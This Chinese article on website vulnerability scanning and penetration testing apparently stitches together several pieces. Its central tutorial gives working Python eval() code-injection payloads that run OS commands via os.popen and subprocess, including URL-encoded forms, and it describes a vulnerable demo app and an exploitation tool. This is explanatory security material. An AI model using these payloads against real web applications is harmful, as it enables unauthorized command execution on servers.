网站漏洞检查（网站漏洞检测）

如何对网站进行渗透测试和漏洞扫描？

漏洞扫描

是指基于漏洞数据库，通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测，发现可利用漏洞的一种安全检测（渗透攻击）行为。

在网络设备中发现已经存在的漏洞，比如防火墙，路由器，交换机服务器等各种应用等等，该过程是自动化的，主要针对的是网络或应用层上潜在的及已知漏洞。漏洞的扫描过程中是不涉及到漏洞的利用的。

渗透测试

渗透测试服务（黑盒测试）是指在客户授权许可的情况下，利用各种主流的攻击技术对网络做模拟攻击测试，以发现系统中的安全漏洞和风险点，提前发现系统潜在的各种高危漏洞和安全威胁。

渗透测试员不仅要针对应用层或网络层等进行测试，还需要出具完整的渗透测试报告。一般的报告都会主要包括以下内容：渗透测试过程中发现可被利用的漏洞，出现的原因，解决方法等详细文字化的描述。

如何检测网站是否存在安全漏洞

检测网站的安全漏洞方式分为两种：①使用安全软件进行网站安全漏洞检测、②使用渗透测试服务进行安全漏洞检测。

1、使用安全软件进行网站安全漏洞检测

使用检测网站安全漏洞我们可以选择安全软件进行，安全软件可以对我们的网站和服务器进行体验，找出我们服务器以及网站的漏洞并且可以根据安全漏洞进行修复。

2、使用渗透测试服务进行安全漏洞检测

渗透测试是利用模拟黑客攻击的方式，评估计算机网络系统安全性能的一种方法。这个过程是站在攻击者角度对系统的任何弱点、技术缺陷或漏洞进行主动分析，并且有条件地主动利用安全漏洞。

渗透测试并没有严格的分类方法，即使在软件开发生命周期中，也包含了渗透测试的环节，但是根据实际应用，普遍认为渗透测试分为黑盒测试、白盒测试、灰盒测试三类。

①黑箱测试又被称为所谓的Zero-Knowledge

Testing，渗透者完全处于对系统一无所知的状态，通常这类型测试，最初的信息获取来自于DNS、Web、Email及各种公开对外的服务器。

②白盒测试与黑箱测试恰恰相反，测试者可以通过正常渠道向被测单位取得各种资料，包括网络拓扑、员工资料甚至网站或其它程序的代码片段，也能够与单位的其它员工进行面对面的沟通。

③灰盒测试，白+黑就是灰色，灰盒测试是介于上述两种测试之间的一种方法，对目标系统有所一定的了解，还掌握了一定的信息，可是并不全面。渗透测试人员得持续性地搜集信息，并结合已知信息从中将漏洞找出。

但是不管采用哪种测试方法，渗透测试都具有以下特点：

(1)渗透测试是一个渐进的并且逐步深入的过程;

(2)渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试。

如何检测网站漏洞 教你一个简单的方法

1、通常是指基于漏洞数据库,通过扫描等手段,对指定的远程或者本地计算机系统的安全脆弱性进行检测,发现可利用的漏洞的一种安全检测(渗透攻击)行为。网站漏洞检测是对你的网站进行全方位的扫描,检查你当前的网页是否有漏洞,如果有漏洞则需要马上进行修复,否则网页很容易受到网络的伤害甚至被黑客借助于网页的漏洞植入木马,那么后果将不堪设想,一但发现有漏洞就要马上修复。

2、网站漏洞检测的工具目前有两种模式:软件扫描和平台扫描。软件扫描就通过下载软件安装,对自身网站进行漏洞扫描,一般网站漏洞软件都需要付费的,比较知名有X-Scan;还有像SCANV、MDCSOFT SCAN等的这种检测平台,而平台扫描是近几年兴起的,要将网站提交到该平台,通过认证即可以提交认证,认证后将扫描结果通过邮件把漏洞清单发给用户,实现云安全,平台一般免费。

如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话，攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着，如果你可以在目标服务器中执行Python代码的话，你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令，你不仅可以对那些可以访问到的文件进行读写操作，甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。

为了复现这个漏洞，我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息，但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下，我们成功地通过Burp POC实现了一个非交互式的shell，这也是我们这篇文章所要描述的内容。

因为除了Python之外，还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题，因此Python代码注入属于服务器端代码注入的一种。实际上，如果各位同学和我一样是一名CWE的关注者，那么下面这两个CWE也许可以给你提供一些有价值的参考内容：

1. CWE-94：代码生成控制不当(‘代码注入’)2. CWE-95：动态代码评估指令处理不当(‘Eval注入’)漏洞利用

假设你现在使用Burp或者其他工具发现了一个Python注入漏洞，而此时的漏洞利用Payload又如下所示：

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了：

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上，你甚至都不需要使用for循环，直接使用全局函数“__import__”就可以了。具体代码如下所示：

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁，既然我们已经将import和popen写在了一个表达式里面了，那么在大多数情况下，你甚至都不需要使用compile了。具体代码如下所示：

__import__('os').popen('COMMAND').read()

为了将这个Payload发送给目标Web应用，你需要对其中的某些字符进行URL编码。为了节省大家的时间，我们在这里已经将上面所列出的Payload代码编码完成了，具体如下所示：

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来，我们将会给大家介绍关于这个漏洞的细节内容，并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾，我将会给大家演示一款工具，这款工具是我和我的同事Charlie共同编写的，它可以明显降低你在利用这个漏洞时所花的时间。简而言之，这款工具就像sqlmap一样，可以让你快速找到SQL注入漏洞，不过这款工具仍在起步阶段，感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。

搭建一个包含漏洞的服务器

为了更好地给各位同学进行演示，我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话，你可以点击这里获取这份Web应用。接下来，我们要配置的就是Web应用的运行环境，即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行，或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示：

git clone VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

当你在网上搜索关于python的eval()函数时，几乎没有文章会提醒你这个函数是非常不安全的，而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况，说明你的Web应用中存在这个漏洞：

1. Web应用接受用户输入(例如GET/POST参数，cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查，或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码：

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大家可以看到，eval()函数是上述代码中唯一一个存在问题的地方。除此之外，如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话，那么Web应用中也将会出现这个漏洞。

不过需要注意的是，除了eval()函数之外，Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示，现在很多开发人员都会在Web应用中不规范地使用exec()函数，所以这个问题肯定会存在。

自动扫描漏洞

为了告诉大家如何利用漏洞来实施攻击，我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后，我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是，不要过度依赖扫描工具，因为还很多东西是扫描工具也找不到的。

这个漏洞也不例外，如果你在某个Web应用中发现了这个漏洞，那么你肯定使用了某款自动化的扫描工具，比如说Burp Suite Pro。目前为止，如果不使用类似Burp Suite Pro这样的专业扫描工具，你几乎是无法发现这个漏洞的。

当你搭建好测试环境之后，启动并运行包含漏洞的示例应用。接下来，使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示：

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下图显示的是Burp在扫描这个漏洞时所使用的Payload：

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我们可以看到，Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的)，是因为当它将这个Payload发送给目标Web应用之后，服务器的Python解析器休眠了20秒，响应信息在20秒之后才成功返回。但我要提醒大家的是，这种基于时间的漏洞检查机制通常会存在一定的误报。

将PoC升级成漏洞利用代码

使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来，为了执行操作系统指令并接收相应的输出数据，我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了，应该还有很多其他的函数同样可以实现我们的目标。

因为eval()函数只能对表达式进行处理，因此Burp Suite Pro的Payload在这里使用了compile()函数，这是一种非常聪明的做法。当然了，我们也可以使用其他的方法来实现，例如使用全局函数“__import__”。关于这部分内容请查阅参考资料：[参考资料1][参考资料2]

下面这个Payload应该可以适用于绝大多数的场景：

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# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句，那么你就需要使用eval()或者compile()函数了。实现代码如下所示：

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中，有时全局函数“__import__”会不起作用。在这种情况下，我们就要使用for循环了。相关代码如下所示：

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数，那么你就可以直接在浏览器中利用这个漏洞了：

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请注意：虽然浏览器会帮你完成绝大部分的URL编码工作，但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外，你也可以直接使用我们所开发的工具。

如果是POST参数的话，我建议各位直接使用类似Burp Repeater这样的工具。如下图所示，我在subprocess.check_output()函数中一次性调用了多个系统命令，即pwd、ls、-al、whoami和ping。

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漏洞利用工具-PyCodeInjectionShell

你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码，我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到，它跟sqlmap一样使用起来非常的简单。除此之外，它的使用方法跟sqlmap基本相同。

如何检测网站服务器的漏洞？

查找Web服务器漏洞

在Web服务器等非定制产品中查找漏洞时，使用一款自动化扫描工具是一个不错的起点。与Web应用程序这些定制产品不同，几乎所有的Web服务器都使用第三方软件，并且有无数用户已经以相同的方式安装和配置了这些软件。

在这种情况下，使用自动化扫描器发送大量专门设计的请求并监控表示已知漏洞的签名，就可以迅速、高效地确定最明显的漏洞。Nessus 是一款优良的免费漏洞扫描器，还有各种商业扫描器可供使用，如 Typhon 与 ISS。

除使用扫描工具外，渗透测试员还应始终对所攻击的软件进行深入研究。同时，浏览Security Focus、邮件列表Bugtrap和Full Disclosure等资源，在目标软件上查找所有最近发现的、尚未修复的漏洞信息。

还要注意，一些Web应用程序产品中内置了一个开源Web服务器，如Apache或Jetty。因为管理员把服务器看作他们所安装的应用程序，而不是他们负责的基础架构的一部分，所以这些捆绑服务器的安全更新也应用得相对较为缓慢。而且，在这种情况下，标准的服务标题也已被修改。因此，对所针对的软件进行手动测试与研究，可以非常有效地确定自动化扫描工具无法发现的漏洞。